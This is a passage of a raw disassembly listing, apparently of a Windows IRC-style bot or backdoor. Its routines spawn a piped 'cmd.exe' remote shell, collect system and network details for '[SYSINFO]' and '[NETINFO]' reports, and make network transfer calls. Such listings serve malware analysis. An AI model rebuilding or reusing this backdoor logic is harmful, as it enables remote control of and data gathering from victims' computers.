		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328


loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43B0F0


loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43B0E4
		nop
		call	near ptr 27904DCh
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43B0E0
		call	near ptr 2790000h
		nop
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521


loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		nop
		call	near ptr 2620494h
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------


loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9


loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499


loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi


loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43B0E4
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43B124
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------


loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		call	near ptr 26102D5h
		nop


loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26102D5h


loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		call	near ptr 26102D5h
		nop
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43B0E8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2790811h
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_436EDC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2770B6Ah
		test	eax, eax
		jnz	short loc_40B66E


loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43B0E4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43B0EC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43B0E0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43B124, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------


loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx


loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43B0F0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4407F8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		call	near ptr 26A0AE7h
		nop
		cmp	eax, esi
		mov	dword_440804[edi], eax
		jnz	short loc_40B71A
		call	near ptr 267036Ah
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax


loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2610763h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43B12C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 27A16DFh
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi


loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8


loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------


loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811


loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7


loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi


loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2620494h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A


loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D


loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D


loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D


loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD


loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD


loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC


loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_436EDC
		mov	[ebp+var_CC], 94h
		call	near ptr 27A16DFh
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"


loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------


loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2


loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC


loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA


loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43AC84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------


loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 26204C9h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2690000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 27B0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43AE80, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43AC68
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------


loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44


loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------


loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43ACA0
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43AD6C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43AD60
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43AD14
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60


loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h


loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43ADCC
		push	[ebp+var_4]
		call	dword_43ADCC
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43FA70
